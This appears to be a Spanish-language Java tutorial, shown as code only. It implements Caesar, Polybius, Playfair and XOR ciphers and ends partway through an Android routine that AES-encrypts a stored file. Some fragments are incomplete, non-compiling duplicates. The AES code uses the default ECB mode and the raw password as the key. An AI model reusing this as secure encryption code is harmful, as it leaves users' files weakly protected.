public class CifradoCesar {

	public static void main(String[] args) {
		// TODO Auto-generated method stub
		
		System.out.println("\t   ------------------");
		System.out.println("\t  | *  CIFRADO CESAR * |");
		System.out.println("\t   ------------------");
		
		//Scanner 
		Scanner sc = new Scanner(System.in);


		System.out.println("Ingrese el Mensaje: ");
		String mensaje  = sc.nextLine();
		}
	}

		

	
	public static String Cifrar_Cesar(String mensaje){
		//Texto a salir (cfrado)
		String cipher = "";
		//Posiciones a adelantar
		int adelantar = 3;
		
		//Convertimos el mansaje en un array de caracteres
		char [] letras = mensaje.toCharArray();

		//Vamos por cada caracter sumandole 3
		for(int i=0;i<letras.length;i++){
			
			// de esta manera obtenemos el codigo ascii del caracter  ((int) letras[i]) 
			// luego a ese numero le sumamos 3 ( ((int) letras[i])+ adelantar)  <- quedaria asi
			// y luego convertimos ese numero en la letra a la que hace
			// referencia en el codigo ascii solo casteando el numero a (char)

			cipher += (char)( ((int) letras[i])+ adelantar) ; 
		}

		//Texto cifrado
		return cipher;
	}

	public static String Descifrar_Cesar(String cipher){
		
		String mensaje = "";
		//Posiciones a atrasar
		int adelantar = 3;
		//Caracteres del mensaje
		char [] letras = cipher.toCharArray();
		for(int i=0;i<letras.length;i++){
			mensaje += (char)( ((int) letras[i])- adelantar) ; 
		}
		return mensaje;
	}

public class CifradoCesar {

	public static void main(String[] args) {
		// TODO Auto-generated method stub
		
		System.out.println("\t   ------------------");
		System.out.println("\t  | *  CIFRADO CESAR * |");
		System.out.println("\t   ------------------");
		
		//Scanner 
		Scanner sc = new Scanner(System.in);


		System.out.println("Ingrese el Mensaje: ");
		String mensaje  = sc.nextLine();
		
		System.out.println("\n-------------------------------");
		String cipher =Cifrar_Cesar(mensaje);
		System.out.println("Cifrado: "+cipher);

		String descifrado = Descifrar_Cesar(cipher);
		System.out.println("-------------------------------");
		System.out.println("Descifrado: "+descifrado);
		System.out.println("-------------------------------");

	}
	
	
	
	public static String Cifrar_Cesar(String mensaje){
		//Texto a salir (cfrado)
		String cipher = "";
		//Posiciones a adelantar
		int adelantar = 3;
		
		//Convertimos el mansaje en un array de caracteres
		char [] letras = mensaje.toCharArray();

		//Vamos por cada caracter sumandole 3
		for(int i=0;i<letras.length;i++){
			
			// de esta manera obtenemos el codigo ascii del caracter
			//  ((int) letras[i]) y luego a ese numero le sumamos 3
			// ( ((int) letras[i])+ adelantar) <- quedaria asi
			// y luego convertimos ese numero en la letra a la que hace
			// referencia en el codigo ascii solo casteando el numero a (char)
			cipher += (char)( ((int) letras[i])+ adelantar) ; 
		}
		//Texto cifrado
		return cipher;
	}
	
	
	
	public static String Descifrar_Cesar(String cipher){
		
		String mensaje = "";
		//Posiciones a atrasar
		int adelantar = 3;
		//Caracteres del mensaje
		char [] letras = cipher.toCharArray();
		for(int i=0;i<letras.length;i++){
			mensaje += (char)( ((int) letras[i])- adelantar) ; 
		}
		return mensaje;
	}

}

public class CifradoPolibio {

	public static void main(String[] args) {

            	System.out.println("\t   ---------------------");
		System.out.println("\t  | *  CIFRADO POLIBIO * |");
		System.out.println("\t   ---------------------");
		Scanner sc = new Scanner(System.in);

		System.out.println("Ingrese el Mensaje: ");
		String mensaje  = sc.nextLine();
        } 
                  }

public class CifradoPolibio {

	public static void main(String[] args) {
		// TODO Auto-generated method stub

	
		
		System.out.println("\t   ---------------------");
		System.out.println("\t  | *  CIFRADO POLIBIO * |");
		System.out.println("\t   ---------------------");
		Scanner sc = new Scanner(System.in);

		System.out.println("Ingrese el Mensaje: ");
		String mensaje  = sc.nextLine();

	                    char [][] matris = {{'a','b','c','d','e','f','g'},
							{'h','i','j','k','l','m','n'},
							{'ñ','o','p','q','r','s','t'},
							{'u','v','w','x','y','z','1'},
							{'2','3','4','5','6','7','8'},
							{'9','0','_','-',' ','.',','},
							{'$','#','%','&','+','*','/'}};
                    }
             }

	public static String [] Cifrar_Polibio(String mensaje, char [][] matris ){
		
		//Se crea un array de el tamaño del mensaje ingresado
		String [] cipher = new String [mensaje.toCharArray().length];

		//Se convierte el mensaje en un array de char
		char [] msj =  mensaje.toCharArray();
		
		
		
		//Va por todas las letras del mensaje
		for(int h=0;h<msj.length;h++){
		
			//Va por todas las filas y columnas de la matriz
			//Hasta encontrar el caracter
		for(int i=0;i<matris.length;i++){
			
			for(int j=0;j<matris[1].length;j++){
				
				//Si lo encuentra
				if(matris[i][j]== msj[h]){
					
					//Guarda en nuestro array cipher las posiciones
					//de el caracter i para las filas y j para las columnas
					cipher[h]=Integer.toString(i)+Integer.toString(j);
				
					//sale del ciclo apenas lo encuentra
					break;
				}	
			}
		}
			// Va imprimiendo el cipher (mensaje ya cifrado)
			System.out.print(cipher[h]+" ");
		}
		//Retorna el cipher
		return cipher;
		
	}
	

	
	public static String Descifrar_Polibio(String [] cipher,char [][] matris){
		
		//Un array con la direccion de el caracter [fila][columna]
		char [] direccion;
		String mensaje ="";
		//
		//Vamos por todas las posiciones del cipher
		for(int i=0;i<cipher.length;i++){

			//Convertimos la direccion en un array de char
		 direccion = cipher[i].toCharArray();
		
		 	// sabemos que en la posicion 0 esta la fila y en la posicion 1 esta la columna
		 //buscamos en la matriz el caracter que este en esa posicion y lo vamos concatenando al mensaje normal
		
			 mensaje+=matris[Character.getNumericValue( direccion[0])][Character.getNumericValue(direccion[1])]; 
		 
	}
		//Imprime el mensaje ya descifrado
			System.out.println(mensaje);
			
			//Retorna el mensaje
		return mensaje;
	}
	

import java.util.Scanner;

	public class CifradoPolibio {
	
		public static void main(String[] args) {
			// TODO Auto-generated method stub
	
			char [][] matris = {{'a','b','c','d','e','f','g'},
								{'h','i','j','k','l','m','n'},
								{'ñ','o','p','q','r','s','t'},
								{'u','v','w','x','y','z','1'},
								{'2','3','4','5','6','7','8'},
								{'9','0','_','-',' ','.',','},
								{'$','#','%','&','+','*','/'}};
			
			System.out.println("\t   ---------------------");
			System.out.println("\t  | *  CIFRADO POLIBIO * |");
			System.out.println("\t   ---------------------");
			Scanner sc = new Scanner(System.in);
	
			System.out.println("Ingrese el Mensaje: ");
			String mensaje  = sc.nextLine();
			System.out.println("\nMatriz");
			Imprimir(matris);
		System.out.print("\nCifrado: ");
		String [] cipher = Cifrar_Polibio(mensaje,matris);
		sc.close();
		System.out.print("\nDescifrado: ");
		String msj = Descifrar_Polibio(cipher,matris);
		
		
		
	}
	
	public static void Imprimir(char [][] matris){
		for(int i=0;i<matris.length;i++){
			
			for(int j=0;j<matris[i].length;j++){
				
				System.out.print(matris[i][j]+" ");
			}
			System.out.println("");
		}
	}
	
	public static String [] Cifrar_Polibio(String mensaje, char [][] matris ){
		
		//Se crea un array de el tamaño del mensaje ingresado
		String [] cipher = new String [mensaje.toCharArray().length];

		//Se convierte el mensaje en un array de char
		char [] msj =  mensaje.toCharArray();
		
		
		
		//Va por todas las letras del mensaje
		for(int h=0;h<msj.length;h++){
		
			//Va por todas las filas y columnas de la matriz
			//Hasta encontrar el caracter
		for(int i=0;i<matris.length;i++){
			
			for(int j=0;j<matris[1].length;j++){
				
				//Si lo encuentra
				if(matris[i][j]== msj[h]){
					
					//Guarda en nuestro array cipher las posiciones
					//de el caracter i para las filas y j para las columnas
					cipher[h]=Integer.toString(i)+Integer.toString(j);
				
					//sale del ciclo apenas lo encuentra
					break;
				}	
			}
		}
			// Va imprimiendo el cipher (mensaje ya cifrado)
			System.out.print(cipher[h]+" ");
		}
		//Retorna el cipher
		return cipher;
		
	}
	
	public static String Descifrar_Polibio(String [] cipher,char [][] matris){
		
		//Un array con la direccion de el caracter [fila][columna]
		char [] direccion;
		String mensaje ="";
		//
		//Vamos por todas las posiciones del cipher
		for(int i=0;i<cipher.length;i++){
			//Convertimos la direccion en un array de char
		 direccion = cipher[i].toCharArray();
		
		 	// sabemos que en la posicion 0 esta la fila y en la posicion 1 esta la columna
		 //buscamos en la matriz el caracter que este en esa posicion y lo vamos concatenando al mensaje normal
		
			 mensaje+=matris[Character.getNumericValue( direccion[0])][Character.getNumericValue(direccion[1])]; 
		 
	}
		//Imprime el mensaje ya descifrado
			System.out.println(mensaje);
			
			//Retorna el mensaje
		return mensaje;
	}
	
}

public class CifradoPlayfair {

	
	public static void main(String[] args) {
		// TODO Auto-generated method stub

		
		System.out.println("\t   ---------------------");
		System.out.println("\t  | *  CIFRADO PLAYFAIR * |");
		System.out.println("\t   ---------------------");
		Scanner sc = new Scanner(System.in);

		System.out.println("Ingrese el Mensaje: ");
		String mensaje  = sc.nextLine();
		System.out.println("Ingrese la Clave:  ");
		String clave  = sc.nextLine();
                                   }
            }

public static char [][] GenerarMatriz (String clave){
		 char [][] matris = new char [7][7];

		char [] caracteresClave = clave.toCharArray();
		char [] numeros = {'0','1','2','3','4','5','6','7','8','9'};
		char [] letras = new char [26];
		char [] signos = {'+','-','$','&',',','.',' ','_','*','%','=','?','¿'};
		LinkedHashSet<Character> caracteresMatriz = new LinkedHashSet<>();
		
	
		
		//Eliminamos las letras repetidas de a clave
		//Se ingresa la clave sin caracteres repetidos a la coleccion que tendra todos los caracteres de la matris
		
		for(int k=0;k<caracteresClave.length;k++){
			caracteresMatriz.add(caracteresClave[k]);	
		}
		
		//Se generan las letras del abecedario en base al codigo ASCII
		for(int i=97;i<123;i++){
			letras[i-97] = (char)i;
		}
		
		
		
		//Se ingresa el resto del abecedario
		for(int i=0;i<letras.length;i++){
			caracteresMatriz.add(letras[i]);
		}
		
		//Se ingresan los numeros
		for(int i=0;i<numeros.length;i++){
			caracteresMatriz.add(numeros[i]);
		}
		
		//Se ingresan los signos
		for(int i=0;i<signos.length;i++){
			caracteresMatriz.add(signos[i]);
			}
		
		//Se convierte el linkedhashSet en un array para luego meterlo en la matriz
		int cont;
		char [] arrayTemporal = new char [caracteresMatriz.size()];
		cont=0;
		for(char caracter:caracteresMatriz){
			arrayTemporal[cont]=caracter;
			cont++;
		}
		
		
		
		//Se ingresan a la matriz todos los caracteres (con esto tendriamos nuestra matriz lista)
		cont=0;
		for(int i=0;i<matris.length;i++){
			for(int j=0;j<matris[0].length;j++){
				matris[i][j]=arrayTemporal[cont];
				cont++;
			}
			
		}
		
		return matris;
	}

	public static char [][] GenerarParejas(String mensaje){
		
		int tam = mensaje.length();
		
		//Se revisa que no alla caracteres repetidos consecutivamente como "llave"
		//tendria que queda lxlave
		
		char [] revision= mensaje.toCharArray();
		ArrayList<Character> arrayRevision = new ArrayList<>();
		for(int i=0;i<mensaje.length();i++){
			arrayRevision.add(revision[i]);
		
			if(i+1<revision.length){
			if(revision[i]==revision[i+1]){
				arrayRevision.add('x');
				
										}
						}
				}
		
		//Revisamos que el mensaje quede de un tamaño par si no es asi agregamos x al final para volverlo par
		if(arrayRevision.size()%2!=0){
			arrayRevision.add('x');
		}
		
		
		//Se forma una matris de 2 columnas para las parejas de caracteres
		char [][] parejaCaracteres= new char [arrayRevision.size()/2][2];
		int cont =0;
		for(int i=0;i<parejaCaracteres.length;i++){
			for(int j=0;j<parejaCaracteres[1].length;j++){
				parejaCaracteres[i][j]=arrayRevision.get(cont);
				cont++;
			}
		}
		
		return parejaCaracteres;
	}

	
public static int[] ObtenerPosicionCaracter(char caracter,char [][] matris){
		
		int [] direccion = new int [2];
		
		
		for(int i =0;i<matris.length;i++ ){
			
			for(int j=0;j<matris[i].length;j++){
				
				if(caracter == matris[i][j]){
					//fila
                                          direccion[0]=i;
                                           //columna
					direccion[1]=j;
				}
			}
	
		}
	
		return direccion;
		
	}

	public static String Cifrado_Playfair(String mensaje,String clave){

		//Se genera la matriz
		char [][] matris = GenerarMatriz(clave);
		//Se generan las parejas de caracteres
		char [][] parejaCaracteres = GenerarParejas(mensaje);
		
		System.out.println("\n \t Matriz");
		//Imprimimos la matriz con la misma funcion que hemos utilizado 
		//en todo el taller
		Imprimir(matris);
		
		//Se imprimen las parejas de caracteres
		System.out.println("\n \t Parejas de caracteres");
		Imprimir(parejaCaracteres);
		String cipher = "";
		
		//Los array de direcciones de las dos letras
		int [] direcciones ;	
		int [] direcciones2;
		int columna =0;
		//Se va por todas las parejas de caracteres
		for(int i=0;i<parejaCaracteres.length;i++){
		
		
			// Se manda a obtener las posiciones de los caracteres
			direcciones= ObtenerPosicionCaracter(parejaCaracteres[i][columna],matris);
			columna++;
			direcciones2= ObtenerPosicionCaracter(parejaCaracteres[i][columna],matris);
			
			
			if(columna==1){
				columna=0;
			}
			
			// Se guardan en variables para asi comparar las reglas
			int fila1= direcciones[0];
			int columna1= direcciones[1];
			
			int fila2= direcciones2[0];
			int columna2= direcciones2[1];
			
			
			// Si estan en la misma fila se le suma +1 a la columna
			int fTemporal;
			if(fila1==fila2){
				fTemporal= columna1+1;
				if(fTemporal==matris.length){
					fTemporal=0;
				}
				
				cipher+=matris[fila1][fTemporal];
				
				
				fTemporal = columna2+1;
				if(fTemporal==matris.length){
					fTemporal=0;
				}
				
				cipher+=matris[fila2][fTemporal];
			}		
			
			
			// si estan en la misma columna se le suma +1 a la fila
			int cTemporal;
			if(columna1==columna2){
				
				cTemporal = fila1+1;
				
				if(cTemporal == matris.length){
					cTemporal=0;
				}
				
				cipher+= matris[cTemporal][columna1];
				
				cTemporal = fila2+1;
				
				if(cTemporal == matris.length){
					cTemporal=0;
				}
				
				cipher+= matris[cTemporal][columna2];
				
				
			}	
			
			// si no cumple ninguna de las anteriores
			// se coloca la diagonal opuesta, se invierten las columnas
			
			if(fila1!=fila2 & columna1!=columna2){
				
				cipher+=matris[fila1][columna2];
				cipher+=matris[fila2][columna1];
				

						}
		}
		
		// se retorna el cipher
		return cipher;
	}

	public static String Descifrado_Playfair(String cipher,String clave){
		
		String mensaje ="";
		
		char [][] matris= GenerarMatriz(clave);
		char [][] parejas = GenerarParejas(cipher);
		
		int [] direcciones;
		int [] direcciones2;
		
		int columnas=0;
		for(int i=0;i<parejas.length;i++){
			
			
			direcciones= ObtenerPosicionCaracter(parejas[i][columnas],matris);
			columnas++;
			

			int fila1= direcciones[0];
			int columna1= direcciones[1];

			
			direcciones2= ObtenerPosicionCaracter(parejas[i][columnas],matris);
			if(columnas==1){columnas=0;}
			
			int fila2= direcciones2[0];
			int columna2= direcciones2[1];
			
			//Filas iguales ya no se suma , si no que ahora se resta -1 a la columna
			int fTemporal;
			if(fila1==fila2){
				fTemporal= columna1-1;
				if(fTemporal<0){
					fTemporal=matris.length-1;
				}
				
				mensaje+=matris[fila1][fTemporal];
				
				
				fTemporal = columna2-1;
				if(fTemporal<0){
					fTemporal=matris.length-1;
				}
				
				mensaje+=matris[fila2][fTemporal];
			}		
			
			
			int cTemporal;
			//Columnas iguales ya no se suma , si no que ahora se resta -1 a la fila

			if(columna1==columna2){
				
				cTemporal = fila1-1;
				
				if(cTemporal<0){
					cTemporal=matris.length-1;
				}
				
				mensaje+= matris[cTemporal][columna1];
				
				cTemporal = fila2-1;
				
				if(cTemporal<0){
					cTemporal=matris.length-1;
				}
				
				mensaje+= matris[cTemporal][columna2];
				
				
			}	
			
			//Si no se cumple ninguna se coloca la diagonal opuesta, esto no cambia
			if(fila1!=fila2 & columna1!=columna2){
				
				mensaje+=matris[fila1][columna2];
				mensaje+=matris[fila2][columna1];

			}
			
		}
		
		return mensaje;
	}
	
	

public static void Imprimir(char [][] matris){
		for(int i=0;i<matris.length;i++){
			for(int j=0;j<matris[i].length;j++){
				System.out.print(matris[i][j]+" ");

			}
			System.out.println("");

		}
	}

import java.util.ArrayList;
import java.util.LinkedHashSet;
import java.util.Scanner;

public class CifradoPlayfair {

	
	public static void main(String[] args) {
		// TODO Auto-generated method stub

		
		System.out.println("\t   ---------------------");
		System.out.println("\t  | *  CIFRADO PLAYFAIR * |");
		System.out.println("\t   ---------------------");
		Scanner sc = new Scanner(System.in);

		System.out.println("Ingrese el Mensaje: ");
		String mensaje  = sc.nextLine();
		System.out.println("Ingrese la Clave:  ");
		String clave  = sc.nextLine();
			
		
		String cipher =	Cifrado_Playfair(mensaje,clave);
		String mensaje2 = Descifrado_Playfair(cipher,clave);
		
		System.out.println("\nCipher: "+cipher);
		System.out.println("Mensaje descifrado: "+mensaje2);
		
	}
	

	
	
	public static String Descifrado_Playfair(String cipher,String clave){
		
		String mensaje ="";
		
		char [][] matris= GenerarMatriz(clave);
		char [][] parejas = GenerarParejas(cipher);
		
		int [] direcciones;
		int [] direcciones2;
		
		int columnas=0;
		for(int i=0;i<parejas.length;i++){
			
			
			direcciones= ObtenerPosicionCaracter(parejas[i][columnas],matris);
			columnas++;
			

			int fila1= direcciones[0];
			int columna1= direcciones[1];

			
			direcciones2= ObtenerPosicionCaracter(parejas[i][columnas],matris);
			if(columnas==1){columnas=0;}
			
			int fila2= direcciones2[0];
			int columna2= direcciones2[1];
			
			//Filas iguales ya no se suma , si no que ahora se resta -1 a la columna
			int fTemporal;
			if(fila1==fila2){
				fTemporal= columna1-1;
				if(fTemporal<0){
					fTemporal=matris.length-1;
				}
				
				mensaje+=matris[fila1][fTemporal];
				
				
				fTemporal = columna2-1;
				if(fTemporal<0){
					fTemporal=matris.length-1;
				}
				
				mensaje+=matris[fila2][fTemporal];
			}		
			
			
			int cTemporal;
			//Columnas iguales ya no se suma , si no que ahora se resta -1 a la fila

			if(columna1==columna2){
				
				cTemporal = fila1-1;
				
				if(cTemporal<0){
					cTemporal=matris.length-1;
				}
				
				mensaje+= matris[cTemporal][columna1];
				
				cTemporal = fila2-1;
				
				if(cTemporal<0){
					cTemporal=matris.length-1;
				}
				
				mensaje+= matris[cTemporal][columna2];
				
				
			}	
			
			//Si no se cumple ninguna se coloca la diagonal opuesta, esto no cambia
			if(fila1!=fila2 & columna1!=columna2){
				
				mensaje+=matris[fila1][columna2];
				mensaje+=matris[fila2][columna1];

			}
			
		}
		
		return mensaje;
	}
	
	
	
	public static String Cifrado_Playfair(String mensaje,String clave){

		//Se genera la matriz
		char [][] matris = GenerarMatriz(clave);
		//Se generan las parejas de caracteres
		char [][] parejaCaracteres = GenerarParejas(mensaje);
		
		System.out.println("\n \t Matriz");
		//Imprimimos la matriz con la misma funcion que hemos utilizado 
		//en todo el taller
		Imprimir(matris);
		
		//Se imprimen las parejas de caracteres
		System.out.println("\n \t Parejas de caracteres");
		Imprimir(parejaCaracteres);
		String cipher = "";
		
		//Los array de direcciones de las dos letras
		int [] direcciones ;	
		int [] direcciones2;
		int columna =0;
		//Se va por todas las parejas de caracteres
		for(int i=0;i<parejaCaracteres.length;i++){
		
		
			// Se manda a obtener las posiciones de los caracteres
			direcciones= ObtenerPosicionCaracter(parejaCaracteres[i][columna],matris);
			columna++;
			direcciones2= ObtenerPosicionCaracter(parejaCaracteres[i][columna],matris);
			
			
			if(columna==1){
				columna=0;
			}
			
			// Se guardan en variables para asi comparar las reglas
			int fila1= direcciones[0];
			int columna1= direcciones[1];
			
			int fila2= direcciones2[0];
			int columna2= direcciones2[1];
			
			
			// Si estan en la misma fila se le suma +1 a la columna
			int fTemporal;
			if(fila1==fila2){
				fTemporal= columna1+1;
				if(fTemporal==matris.length){
					fTemporal=0;
				}
				
				cipher+=matris[fila1][fTemporal];
				
				
				fTemporal = columna2+1;
				if(fTemporal==matris.length){
					fTemporal=0;
				}
				
				cipher+=matris[fila2][fTemporal];
			}		
			
			
			// si estan en la misma columna se le suma +1 a la fila
			int cTemporal;
			if(columna1==columna2){
				
				cTemporal = fila1+1;
				
				if(cTemporal == matris.length){
					cTemporal=0;
				}
				
				cipher+= matris[cTemporal][columna1];
				
				cTemporal = fila2+1;
				
				if(cTemporal == matris.length){
					cTemporal=0;
				}
				
				cipher+= matris[cTemporal][columna2];
				
				
			}	
			
			// si no cumple ninguna de las anteriores
			// se coloca la diagonal opuesta, se invierten las columnas
			
			if(fila1!=fila2 & columna1!=columna2){
				
				cipher+=matris[fila1][columna2];
				cipher+=matris[fila2][columna1];
				

						}
		}
		
		// se retorna el cipher
		return cipher;
	}
	
	
public static int[] ObtenerPosicionCaracter(char caracter,char [][] matris){
		
		int [] direccion = new int [2];
		
		
		for(int i =0;i<matris.length;i++ ){
			
			for(int j=0;j<matris[i].length;j++){
				
				if(caracter == matris[i][j]){
					direccion[0]=i;
					direccion[1]=j;
				}
			}
	
		}
	
		return direccion;
		
	}
	
	public static char [][] GenerarParejas(String mensaje){
		
		int tam = mensaje.length();
		
		//Se revisa que no alla caracteres repetidos consecutivamente como "llave"
		//tendria que queda lxlave
		
		char [] revision= mensaje.toCharArray();
		ArrayList<Character> arrayRevision = new ArrayList<>();
		for(int i=0;i<mensaje.length();i++){
			arrayRevision.add(revision[i]);
		
			if(i+1<revision.length){
			if(revision[i]==revision[i+1]){
				arrayRevision.add('x');
				
										}
						}
				}
		
		//Revisamos que el mensaje quede de un tamaño par si no es asi agregamos x al final para volverlo par
		if(arrayRevision.size()%2!=0){
			arrayRevision.add('x');
		}
		
		
		//Se forma una matris de 2 columnas para las parejas de caracteres
		char [][] parejaCaracteres= new char [arrayRevision.size()/2][2];
		int cont =0;
		for(int i=0;i<parejaCaracteres.length;i++){
			for(int j=0;j<parejaCaracteres[1].length;j++){
				parejaCaracteres[i][j]=arrayRevision.get(cont);
				cont++;
			}
		}
		
		return parejaCaracteres;
	}
	
	
	
	
	public static char [][] GenerarMatriz (String clave){
		 char [][] matris = new char [7][7];

		char [] caracteresClave = clave.toCharArray();
		char [] numeros = {'0','1','2','3','4','5','6','7','8','9'};
		char [] letras = new char [26];
		char [] signos = {'+','-','$','&',',','.',' ','_','*','%','=','?','¿'};
		LinkedHashSet<Character> caracteresMatriz = new LinkedHashSet<>();
		
	
		
		//Eliminamos las letras repetidas de a clave
		//Se ingresa la clave sin caracteres repetidos a la coleccion que tendra todos los caracteres de la matris
		
		for(int k=0;k<caracteresClave.length;k++){
			caracteresMatriz.add(caracteresClave[k]);	
		}
		
		//Se generan las letras del abecedario en base al codigo ASCII
		for(int i=97;i<123;i++){
			letras[i-97] = (char)i;
		}
		
		
		
		//Se ingresa el resto del abecedario
		for(int i=0;i<letras.length;i++){
			caracteresMatriz.add(letras[i]);
		}
		
		//Se ingresan los numeros
		for(int i=0;i<numeros.length;i++){
			caracteresMatriz.add(numeros[i]);
		}
		
		//Se ingresan los signos
		for(int i=0;i<signos.length;i++){
			caracteresMatriz.add(signos[i]);
			}
		
		//Se convierte el linkedhashSet en un array para luego meterlo en la matriz
		int cont;
		char [] arrayTemporal = new char [caracteresMatriz.size()];
		cont=0;
		for(char caracter:caracteresMatriz){
			arrayTemporal[cont]=caracter;
			cont++;
		}
		
		
		
		//Se ingresan a la matriz todos los caracteres (con esto tendriamos nuestra matriz lista)
		cont=0;
		for(int i=0;i<matris.length;i++){
			for(int j=0;j<matris[0].length;j++){
				matris[i][j]=arrayTemporal[cont];
				cont++;
			}
			
		}
		
		return matris;
	}
	
	public static void Imprimir(char [][] matris){
		for(int i=0;i<matris.length;i++){
			for(int j=0;j<matris[i].length;j++){
				System.out.print(matris[i][j]+" ");

			}
			System.out.println("");

		}
	}
	
	

}

import java.util.Scanner;

public class CifradoXOR {


	public static void main(String[] args) {
		// TODO Auto-generated method stub

		Scanner sc = new Scanner(System.in);
			System.out.println("\t   ------------------");
			System.out.println("\t  | *  CIFRADO XOR * |");
			System.out.println("\t   ------------------");

			System.out.println("Ingrese el Mensaje: ");
			String mensaje  = sc.nextLine();
			System.out.println("Ingrese clave");
			String clave = sc.nextLine();
			
			//Se convierte el mensaje a array de binarios
			String [] mensajeB = TextoABinario(mensaje);
			String [] claveB = TextoABinario(clave);
	
			
			System.out.println("");
			System.out.println("Mensaje: "+mensaje);
			System.out.println("Clave: "+clave);
			System.out.println("");

		sc.close();
		System.out.println("-------------------------------------------------------");
		System.out.println("\t\t* Cifrando *");
		System.out.println("-------------------------------------------------------");
		
		//Se manda a cifrar
		String [] resultado = Cifrado_Descifrado_XOR(mensajeB,claveB);

		
		Imprimir(mensajeB);
	
		System.out.print(": <-- bytes del mensaje");

		System.out.println("");
		
		Imprimir(claveB);
		System.out.print(": <-- bytes de clave");
		
		System.out.println("\n-------------------------------------------------------");
		
		Imprimir(resultado);
		System.out.print(": <-- bytes de cipher");
		
		System.out.println("\n-------------------------------------------------------");
		System.out.print(" - Mensaje Cifrado: ");
		System.out.print(BinarioATexto(resultado));
		System.out.println("\n-------------------------------------------------------");
		System.out.println("\t\t* Descifrando *");
		System.out.println("-------------------------------------------------------");
		
		//Se manda a descifrar;
		String[] resultado2 = Cifrado_Descifrado_XOR(resultado,claveB);

	
	Imprimir(resultado);
	System.out.print(": <-- bytes del cipher");

	System.out.println("");
	Imprimir(claveB);
	
	System.out.print(": <-- bytes de clave");
	System.out.println("\n-------------------------------------------------------");
	
	Imprimir(resultado2);
	System.out.println(": <-- bytes del mensaje desencriptado");
	System.out.println("\n-------------------------------------------------------");
	System.out.print(" - Mensaje Descrifrado: ");
	System.out.print(BinarioATexto(resultado2));
	System.out.println("\n-------------------------------------------------------");
	}
	
	public static String CompuertaXOR (String binario1 , String binario2){
		
		char [] operando1 = binario1.toCharArray();
		char [] operando2 = binario2.toCharArray();
		char [] r =new char [operando1.length];
		
	for(int i=0;i<operando1.length ;i++){
		
		
		if(operando1[i]!=operando2[i]){
				r [i]='1';
			}else {
				r [i]= '0';
			}
	}	

	String re="";
	for(int j=0;j<r.length;j++){
		re+=r[j];
	}

		return re;
	}
	
	public static String [] Cifrado_Descifrado_XOR (String [] mensaje,String [] clave){
		
		String [] resultado = new String [mensaje.length];
		int puntero=0;
	
		for(int i =0 ;i<mensaje.length;i++){
			
			if(puntero>=clave.length){
				puntero =0;
			}
			resultado[i]= CompuertaXOR(mensaje[i],clave[puntero]);
			
			puntero++;
		}
		
		return resultado;
	}

	
	public static String [] TextoABinario(String texto){
		
		char caracter;
		int codigoASCII;
		String binario;
		String [] binarios = new String [texto.length()];
		
		for (int i=0;i<texto.length();i++){
			
			caracter = texto.charAt(i);
			codigoASCII = (int) caracter;
			
			binario = "";
			
			
			for(int j=7;j>=0;j--){
				if(codigoASCII>=Math.pow(2, j)){
					codigoASCII-=Math.pow(2,j);
					binario +="1";
				}else{
					binario+="0";
				}
			}
		
			binarios[i]= binario.toString();

			
		}
		return binarios;
	}
	
	
	public static String BinarioATexto(String [] binarios){
		String texto="";
		
		for(int j=0;j<binarios.length;j++){
		char [] bin = binarios[j].toCharArray();
		
		int decimal =0;
		
		int contador=0;
		for(int i=bin.length-1;i>-1;i--){
	
			if(bin[contador]=='1'){
				decimal+=Math.pow(2, i);
			}
			
			contador++;
		}
		
		texto+= (char) decimal;
		
		}
		
		return texto;
	}
	
	public static void Imprimir(String [] arreglo){
		
		for(int i=0;i<arreglo.length;i++){
			System.out.print(arreglo[i]+" ");
		}
	}
	

}

<TextView
            android:id="@+id/textView4"
            android:layout_width="match_parent"
            android:layout_height="wrap_content"
            android:layout_gravity="center_vertical|center_horizontal|center"
            android:fontFamily="monospace"
            android:text="Contraseña"
            android:textSize="18sp" />

        <EditText
            android:id="@+id/clavesita"
            android:layout_width="match_parent"
            android:layout_height="wrap_content"
            android:ems="10"
            android:inputType="textPassword" />

        <Button
            android:id="@+id/boton1"
            android:layout_width="match_parent"
            android:layout_height="wrap_content"
            android:text="Encriptar" />

        <Button
            android:id="@+id/boton2"
            android:layout_width="match_parent"
            android:layout_height="wrap_content"
            android:text="Desencriptar" />

<uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>

//Verificamos si ya tiene permisos

  if (ContextCompat.checkSelfPermission(this, Manifest.permission.READ_EXTERNAL_STORAGE) == PackageManager.PERMISSION_GRANTED
                && ContextCompat.checkSelfPermission(this, Manifest.permission.WRITE_EXTERNAL_STORAGE) == PackageManager.PERMISSION_GRANTED) { 

  Toast.makeText(this, "La app ya tiene permisos", Toast.LENGTH_SHORT).show();

//Ya tenemos los permisos necesarios
//Podemos proceder a trabajar con la memoria de el celular

} else{

//Si no tenemos permisos, creare una funcion para pedirlos

PedirPermisos();

}

public void PedirPermisos() {

        if (ActivityCompat.shouldShowRequestPermissionRationale(this, Manifest.permission.READ_EXTERNAL_STORAGE)) {

            Toast.makeText(this, "Se necesitan permisos", Toast.LENGTH_SHORT).show();
        }
        ActivityCompat.requestPermissions(this, new String[]{Manifest.permission.READ_EXTERNAL_STORAGE, Manifest.permission.WRITE_EXTERNAL_STORAGE},
                MY_PERMISSIONS_REQUEST);


    }

@Override
    public void onRequestPermissionsResult(int requestCode,
                                           String permissions[], int[] grantResults) {
        if (requestCode == MY_PERMISSIONS_REQUEST) {
            // If request is cancelled, the result arrays are empty.
            if (grantResults.length > 0
                    && grantResults[0] == PackageManager.PERMISSION_GRANTED && grantResults[1] == PackageManager.PERMISSION_GRANTED) {


                Toast.makeText(this, "La app ya tiene permisos", Toast.LENGTH_SHORT).show();


            } else {
                Toast.makeText(this, "SIN PERMISOS NO SE PUEDE EJECUTAR LA APP", Toast.LENGTH_SHORT).show();

            }
            return;
        }

 
    }

public void encriptar(String clave, String direccion, String nombre) throws IOException, NoSuchAlgorithmException, NoSuchPaddingException, InvalidKeyException {

        //Archivo de entrada(sin encriptar)

        File extStore = Environment.getExternalStorageDirectory();
        FileInputStream Entrada = new FileInputStream("/" + direccion);
       
       //Archivo de salida(encriptado) su nombre cambia quedaria guardado algo asi = encript_foto.jpg

        FileOutputStream Salida = new FileOutputStream(extStore + "/encript_" + nombre);

        // Tamaño de la key 16 bytes!
        SecretKeySpec sks = new SecretKeySpec(clave.getBytes(), "AES");
      
   // Se crea el Cipher, el encargado de cifrar los streams

        Cipher cipher = Cipher.getInstance("AES");
        cipher.init(Cipher.ENCRYPT_MODE, sks);

        // stream de salida, archivo de salida
        CipherOutputStream cos = new CipherOutputStream(Salida, cipher);
       
 // Escribe bytes
        int b;
